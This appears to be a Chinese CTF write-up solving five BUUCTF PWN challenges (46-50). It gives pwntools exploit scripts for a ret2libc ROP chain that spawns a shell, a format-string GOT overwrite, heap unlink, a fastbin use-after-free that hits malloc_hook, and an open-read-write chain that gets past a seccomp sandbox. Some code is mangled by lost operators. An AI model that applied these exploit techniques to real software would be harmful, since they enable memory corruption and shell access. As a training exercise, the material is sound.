BUUCTF PWN 46-50 解题思路与漏洞利用技术详解
1. BUUCTF PWN 46-50 解题思路全解析最近在BUUCTF平台上刷PWN题时发现46-50这五道题对新手来说是个不错的进阶练习。这几题涵盖了ret2libc、shellcode等经典漏洞利用技术正好适合用来巩固基础。今天我就把这几题的详细解题过程整理出来顺便分享一些调试技巧和避坑经验。2. 解题环境准备2.1 基础工具配置工欲善其事必先利其器做PWN题需要准备好以下工具链pwntoolsPython的漏洞利用框架gdb-peda增强版GDB调试工具checksec检查二进制文件保护机制ROPgadget查找ROP链的工具one_gadget查找可直接getshell的gadget建议使用Ubuntu 18.04/20.04系统安装命令如下sudo apt update sudo apt install -y python3 python3-pip git pip3 install pwntools git clone https://github.com/longld/peda.git ~/peda echo source ~/peda/peda.py ~/.gdbinit2.2 题目文件处理从BUUCTF下载题目后先用checksec检查保护机制checksec --filepwn46这会显示NX、Canary、PIE等保护是否开启直接影响我们的利用方式。这几道题的保护机制都比较典型NX开启栈不可执行需要用ROP或ret2libcCanary关闭可以直接栈溢出PIE关闭函数地址固定3. PWN46解题详解3.1 题目分析首先用IDA反编译pwn46发现是个简单的栈溢出漏洞int vuln() { char buf[64]; read(0, buf, 0x100); return 0; }明显的缓冲区溢出buf只有64字节但可以读入0x100字节。3.2 漏洞利用由于NX开启我们需要构造ROP链。步骤如下泄露libc地址通过puts打印GOT表项计算system和/bin/sh地址二次溢出执行system(/bin/sh)关键payload构造from pwn import * context.log_level debug p process(./pwn46) # 第一次溢出泄露地址 payload bA*72 payload p64(pop_rdi) p64(puts_got) payload p64(puts_plt) payload p64(main_addr) p.send(payload) # 接收泄露的地址并计算偏移 leak u64(p.recv(6).ljust(8, b\x00)) libc_base leak - libc.sym[puts] system libc_base libc.sym[system] binsh libc_base next(libc.search(b/bin/sh)) # 第二次溢出getshell payload bA*72 payload p64(ret) # 栈对齐 payload p64(pop_rdi) p64(binsh) payload p64(system) p.send(payload) p.interactive()3.3 调试技巧在构造ROP链时经常会遇到段错误。这时可以用gdb调试gdb -q ./pwn46 b *vuln50 # 在ret指令处下断点 r (python3 exploit.py)观察栈布局和寄存器值确保ROP链正确执行。4. PWN47解题过程4.1 题目特点这题开启了Partial RELRO和NX但没有PIE。反编译后发现有个格式化字符串漏洞printf(buf); // 用户可控的格式化字符串4.2 利用思路格式化字符串漏洞可以泄露栈数据和libc地址任意地址写我们需要通过泄露计算出libc基址然后覆写GOT表中的printf为system最后传入/bin/sh。4.3 关键payload# 泄露libc地址 payload b%15$p p.sendline(payload) leak int(p.recvline(), 16) libc_base leak - 0x20830 # 计算要写入的地址 system libc_base libc.sym[system] printf_got elf.got[printf] # 分步写入system地址 for i in range(3): payload fmtstr_payload(6, {printf_goti: (system(8*i))0xff}) p.sendline(payload) # 触发system(/bin/sh) p.sendline(b/bin/sh\x00) p.interactive()4.4 注意事项格式化字符串偏移需要通过调试确定64位地址需要分多次写入注意地址对齐问题5. PWN48解题记录5.1 题目分析这题是个堆利用题目提供了malloc和free功能但没有限制大小void *ptr malloc(size); // size可控 read(0, ptr, size); // 堆溢出5.2 利用方法典型的堆溢出unlink攻击构造两个相邻的chunk通过溢出修改第二个chunk的size和fd/bk指针触发unlink实现任意地址写5.3 详细步骤# 构造fake chunk malloc(0x80) # chunk1 malloc(0x80) # chunk2 # 构造payload payload p64(0) p64(0x81) # 伪造prev_size和size payload p64(free_got - 0x18) p64(free_got - 0x10) # fd和bk payload bA*(0x80-0x20) payload p64(0x80) p64(0x90) # 修改下一个chunk的prev_size和size # 触发unlink free(2) # 现在free_got被修改为shellcode地址5.4 堆利用技巧使用gef的heap命令查看堆状态注意chunk的size要符合对齐要求unlink时会检查fd-bk p bk-fd p6. PWN49解题分析6.1 题目特点这题是个菜单题提供了add、delete、edit等功能存在UAF漏洞free(ptr); // 没有置NULL edit(ptr); // UAF6.2 利用思路UAF可以结合fastbin attack释放两个chunk到fastbin通过UAF修改fd指针指向伪造的chunkmalloc分配到目标地址6.3 详细利用# 创建两个chunk add(0x60, bAAAA) # chunk0 add(0x60, bBBBB) # chunk1 # 释放并利用UAF free(0) free(1) edit(1, p64(malloc_hook - 0x23)) # 现在可以分配到malloc_hook附近 add(0x60, bCCCC) add(0x60, b\x00*0x13 p64(one_gadget))6.4 注意事项fastbin的size要匹配malloc_hook附近的伪造size要合理one_gadget需要满足特定条件7. PWN50解题过程7.1 题目分析这题是个沙箱逃逸题目禁用了execve但允许open/read/write。我们需要用ORW(Open-Read-Write)的方式读取flag。7.2 利用思路构造ROP链调用open打开flag文件调用read读取文件内容调用write输出到stdout7.3 关键payload# ROP链构造 rop ROP(libc) rop.open(flag_path, 0) rop.read(3, heap_addr, 0x100) rop.write(1, heap_addr, 0x100) # 发送payload payload bA*72 rop.chain() p.send(payload) print(p.recvall())7.4 沙箱绕过技巧使用seccomp-tools检查沙箱规则flag路径通常为./flag或/flag文件描述符3通常是第一个打开的文件8. 常见问题与解决方案8.1 地址泄露失败问题泄露的地址不正确或程序崩溃 解决检查泄露的GOT表项是否正确确保接收数据长度足够可能需要添加ret指令对齐栈8.2 ROP链执行失败问题执行到中间崩溃 解决用gdb单步调试查看崩溃点检查栈对齐情况(特别是ubuntu18以上)确保所有gadget地址正确8.3 one_gadget条件不满足问题one_gadget执行后没getshell 解决尝试不同的one_gadget通过ROP设置寄存器满足约束条件回退到system(/bin/sh)方式9. 调试与优化技巧9.1 gdb增强调试使用pwntools的gdb集成p process(./pwn50) gdb.attach(p, b *vuln30 c )9.2 自动化脚本编写建议使用类封装常用操作class Exploit: def __init__(self, elf, libc): self.elf elf self.libc libc def leak(self, func): payload ... return u64(p.recv(6).ljust(8, b\x00))9.3 性能优化使用cyclic快速定位溢出点预计算常用地址减少交互次数复用连接避免重复启动程序10. 进阶学习建议10.1 推荐学习路线先掌握栈溢出基础学习ret2libc技术理解堆利用原理练习沙箱逃逸10.2 推荐资源《漏洞利用的艺术》(The Art of Exploitation)LiveOverflow YouTube频道CTF Wiki (ctf-wiki.org)10.3 练习平台BUUCTFPwnable.krHack The BoxPwnable.tw这几道题涵盖了PWN中的常见考点建议每道题都手动调试几次理解每个步骤的原理。遇到问题时多查资料PWN的学习曲线比较陡峭但掌握后会有很大成就感。

相关新闻

虚拟电厂多时间尺度调度与储能成本优化实践

虚拟电厂多时间尺度调度与储能成本优化实践

1. 项目概述:高比例可再生能源并网的核心挑战 可再生能源占比提升带来的电网稳定性问题,已经成为全球能源转型中最棘手的"拦路虎"。我去年参与的一个风电项目就曾遭遇过这样的尴尬——某天凌晨风电场突然出力飙升,导致当地电网频率…

2026/8/17 16:51:56 阅读更多 →
Word论文公式排版全攻略:字体统一与自动编号解决方案

Word论文公式排版全攻略:字体统一与自动编号解决方案

1. 论文公式排版的核心痛点与解决思路 写论文,尤其是理工科论文,最让人头疼的环节之一,恐怕就是公式排版了。你辛辛苦苦用LaTeX语法或者Mathtype敲出来的公式,在Word里要么字体不统一,显得格格不入;要么编号…

2026/8/16 13:40:50 阅读更多 →
基于腾讯云与Moltbot框架构建自主AI任务执行系统实践

基于腾讯云与Moltbot框架构建自主AI任务执行系统实践

1. 项目概述:当AI学会“自己干活”最近在折腾一个挺有意思的东西:如何让AI不仅能回答问题,还能主动、持续地完成一系列复杂的任务。这听起来有点像科幻电影里的场景,但利用现有的云服务和智能体框架,我们已经可以搭建出…

2026/8/16 13:40:50 阅读更多 →

最新新闻

NOSA-1B 性能基准全解析:5.04× 解码吞吐提升是怎么测出来的?

NOSA-1B 性能基准全解析:5.04× 解码吞吐提升是怎么测出来的?

NOSA-1B 性能基准全解析:5.04 解码吞吐提升是怎么测出来的? 【免费下载链接】NOSA-1B 项目地址: https://ai.gitcode.com/OpenBMB/NOSA-1B NOSA-1B 是 OpenBMB 开源社区发布的可训练稀疏注意力模型,专为 KV-Cache 卸载与解码吞吐优化而…

2026/8/17 17:09:41 阅读更多 →
Xbox 360模拟器从卡顿到流畅:Xenia Canary完整优化指南,照着做就行

Xbox 360模拟器从卡顿到流畅:Xenia Canary完整优化指南,照着做就行

Xbox 360模拟器从卡顿到流畅:Xenia Canary完整优化指南,照着做就行 【免费下载链接】xenia-canary Xbox 360 Emulator Research Project 项目地址: https://gitcode.com/gh_mirrors/xe/xenia-canary 折腾了整个下午,好不容易把Xbox 3…

2026/8/17 17:09:41 阅读更多 →
Tmax-9B-MLX-bf16安装教程:从零配置MLX环境到跑通对话的新手指南

Tmax-9B-MLX-bf16安装教程:从零配置MLX环境到跑通对话的新手指南

Tmax-9B-MLX-bf16安装教程:从零配置MLX环境到跑通对话的新手指南 【免费下载链接】Tmax-9B-MLX-bf16 项目地址: https://ai.gitcode.com/hf_mirrors/mlx-community/Tmax-9B-MLX-bf16 Tmax-9B-MLX-bf16 是一个在 Apple Silicon 芯片上运行的 MLX 格式大语言模…

2026/8/17 17:09:41 阅读更多 →
五大悖论的本质:全是闲人编出来糊弄活人的鬼话

五大悖论的本质:全是闲人编出来糊弄活人的鬼话

摘要:本文不扯逻辑闭环,不玩概念游戏,就着几个被那帮砖家、学究吹了几百年的“悖论”泼点冷水。说白了,这些全是闲人编出来糊弄活人的鬼话,本质都是偷换概念、混淆体验与定义,真要破局,就记住一…

2026/8/17 17:09:41 阅读更多 →
Socket编程核心技术与高并发实战指南

Socket编程核心技术与高并发实战指南

1. Socket编程基础与核心概念Socket编程是网络通信的基础技术,就像建筑工地的管道系统一样,为数据流动提供通道。我在实际项目中处理过大量Socket连接问题,发现很多开发者对底层机制理解不足导致性能瓶颈。这里分享一些实战经验。Socket本质上…

2026/8/17 17:09:41 阅读更多 →
Python基础6 - 字符串:(2)字符串常用操作

Python基础6 - 字符串:(2)字符串常用操作

目录 一. 拼接 二. 计算字符串长度 三. 截取字符串 (一)普通截取 (二)反向输出字符串 四. 分割、合并字符串 (一)分割字符串 (二)合并字符串 五. 检索字符串 (一…

2026/8/17 17:08:41 阅读更多 →

日新闻

LabVIEW异步调用实战:从原理到生产者消费者模式,解决界面卡顿与并行处理难题

LabVIEW异步调用实战:从原理到生产者消费者模式,解决界面卡顿与并行处理难题

1. 项目概述:为什么异步调用是LabVIEW进阶的必修课? 如果你用LabVIEW做过稍微复杂点的项目,尤其是涉及界面响应、多任务并行或者硬件IO等待的场景,大概率遇到过这样的窘境:前面板点个按钮,整个程序就“卡死…

2026/8/17 0:00:08 阅读更多 →
LabVIEW异步调用实战:解决界面卡顿与并行处理难题

LabVIEW异步调用实战:解决界面卡顿与并行处理难题

1. 项目概述:为什么异步调用是LabVIEW进阶的必经之路如果你在LabVIEW里写过稍微复杂点的程序,尤其是涉及到界面响应、多任务并行或者硬件IO等待,大概率会遇到一个头疼的问题:程序“卡”住了。前面板点不动,进度条不更新…

2026/8/17 0:00:08 阅读更多 →
飞书局域网文件传输实战:3种方案实现高速点对点传输

飞书局域网文件传输实战:3种方案实现高速点对点传输

1. 项目概述:为什么要在局域网内用飞书传文件? 飞书作为一款主流的协同办公套件,其核心功能是围绕云端协作设计的。无论是文档、表格还是文件,通常的分享逻辑都是“上传到云端 -> 生成链接 -> 分享给同事”。这个流程在互联…

2026/8/17 0:00:08 阅读更多 →

周新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者,最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent,从本地部署到云端API,我们正处在一个技术栈快速重构的节点。然而,面对层出不穷的模型、框架和工具&#xf…

2026/8/17 2:58:27 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/17 2:58:30 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/17 2:58:32 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/16 6:00:23 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/16 6:00:24 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/16 6:00:27 阅读更多 →